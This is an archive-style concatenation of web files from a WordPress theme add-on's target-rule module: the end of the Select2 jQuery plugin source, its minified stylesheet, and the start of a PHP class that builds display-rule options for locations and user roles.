{ return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if ($e.data('select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } $e.data('data', $e.data('select2Tags')); $e.data('tags', true); } if ($e.data('ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', $e.data('ajaxUrl')); $e.data('ajax--url', $e.data('ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, $e.data()); } else { dataset = $e.data(); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if ($element.data('select2') != null) { $element.data('select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; $element.data('old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } // Regex to replace special characters with empty string. id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { // Regex to replace whitespace character with empty string. var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if (Array.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', this.$element.data('old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); $container.data('element', this.$element); return $container; }; return Select2; }); S2.define('jquery-mousewheel',[ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); S2.define('jquery.select2',[ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults' ], function ($, _, Select2, Defaults) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = $(this).data('select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; }); // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); modules/target-rule/select2.css 0000666 00000035535 15165730730 0012550 0 ustar 00 .select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;height:1px !important;margin:-1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} modules/target-rule/class-astra-target-rules-fields.php 0000666 00000153654 15165730730 0017306 0 ustar 00 <?php /** * Astra Advanced Headers Bar Post Meta Box * * @package Astra Pro */ /** * Meta Boxes setup */ if ( ! class_exists( 'Astra_Target_Rules_Fields' ) ) { /** * Meta Boxes setup */ // @codingStandardsIgnoreStart class Astra_Target_Rules_Fields { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Instance * * @since 1.0.0 * * @var $instance */ private static $instance; /** * Meta Option * * @since 1.0.0 * * @var $meta_option */ private static $meta_option; /** * Current page type * * @since 1.0.0 * * @var $current_page_type */ private static $current_page_type = null; /** * CUrrent page data * * @since 1.0.0 * * @var $current_page_data */ private static $current_page_data = array(); /** * User Selection Option * * @since 1.0.0 * * @var $user_selection */ private static $user_selection; /** * Location Selection Option * * @since 1.0.0 * * @var $location_selection */ private static $location_selection; /** * Initiator * * @since 1.0.0 */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.0.0 */ public function __construct() { add_action( 'admin_action_edit', array( $this, 'initialize_options' ) ); add_action( 'wp_ajax_astra_get_posts_by_query', array( $this, 'astra_get_posts_by_query' ) ); } /** * Initialize member variables. * * @return void */ public function initialize_options() { self::$user_selection = self::get_user_selections(); self::$location_selection = self::get_location_selections(); } /** * Get location selection options. * * @return array */ public static function get_location_selections() { $args = array( 'public' => true, '_builtin' => true, ); $post_types = get_post_types( $args, 'objects' ); unset( $post_types['attachment'] ); $args['_builtin'] = false; $custom_post_type = get_post_types( $args, 'objects' ); $post_types = apply_filters( 'astra_addon_location_rule_post_types', array_merge( $post_types, $custom_post_type ) ); $special_pages = array( 'special-404' => __( '404 Page', 'astra-addon' ), 'special-search' => __( 'Search Page', 'astra-addon' ), 'special-blog' => __( 'Blog / Posts Page', 'astra-addon' ), 'special-front' => __( 'Front Page', 'astra-addon' ), 'special-date' => __( 'Date Archive', 'astra-addon' ), 'special-author' => __( 'Author Archive', 'astra-addon' ), ); if ( class_exists( 'WooCommerce' ) ) { $special_pages['special-woo-shop'] = __( 'WooCommerce Shop Page', 'astra-addon' ); } $selection_options = array( 'basic' => array( 'label' => __( 'Basic', 'astra-addon' ), 'value' => array( 'basic-global' => __( 'Entire Website', 'astra-addon' ), 'basic-singulars' => __( 'All Singulars', 'astra-addon' ), 'basic-archives' => __( 'All Archives', 'astra-addon' ), ), ), 'special-pages' => array( 'label' => __( 'Special Pages', 'astra-addon' ), 'value' => $special_pages, ), ); $args = array( 'public' => true, ); $taxonomies = get_taxonomies( $args, 'objects' ); if ( ! empty( $taxonomies ) ) { foreach ( $taxonomies as $taxonomy ) { // skip post format taxonomy. if ( 'post_format' == $taxonomy->name ) { continue; } foreach ( $post_types as $post_type ) { $post_opt = self::get_post_target_rule_options( $post_type, $taxonomy ); if ( isset( $selection_options[ $post_opt['post_key'] ] ) ) { if ( ! empty( $post_opt['value'] ) && is_array( $post_opt['value'] ) ) { foreach ( $post_opt['value'] as $key => $value ) { if ( ! in_array( $value, $selection_options[ $post_opt['post_key'] ]['value'] ) ) { $selection_options[ $post_opt['post_key'] ]['value'][ $key ] = $value; } } } } else { $selection_options[ $post_opt['post_key'] ] = array( 'label' => $post_opt['label'], 'value' => $post_opt['value'], ); } } } } $selection_options['specific-target'] = array( 'label' => __( 'Specific Target', 'astra-addon' ), 'value' => array( 'specifics' => __( 'Specific Pages / Posts / Taxonomies, etc.', 'astra-addon' ), ), ); /** * Filter options displayed in the display conditions select field of Display conditions. * * @since 1.5.0 */ return apply_filters( 'astra_addon_display_on_list', $selection_options ); } /** * Get user selection options. * * @return array */ public static function get_user_selections() { $selection_options = array( 'basic' => array( 'label' => __( 'Basic', 'astra-addon' ), 'value' => array( 'all' => __( 'All', 'astra-addon' ), 'logged-in' => __( 'Logged In', 'astra-addon' ), 'logged-out' => __( 'Logged Out', 'astra-addon' ), ), ), 'advanced' => array( 'label' => __( 'Advanced', 'astra-addon' ), 'value' => array(), ), ); /* User roles */ $roles = get_editable_roles(); foreach ( $roles as $slug => $data ) { $selection_options['advanced']['value'][ $slug ] = $data['name']; } /** * Filter options displayed in the user select field of Display conditions. * * @since 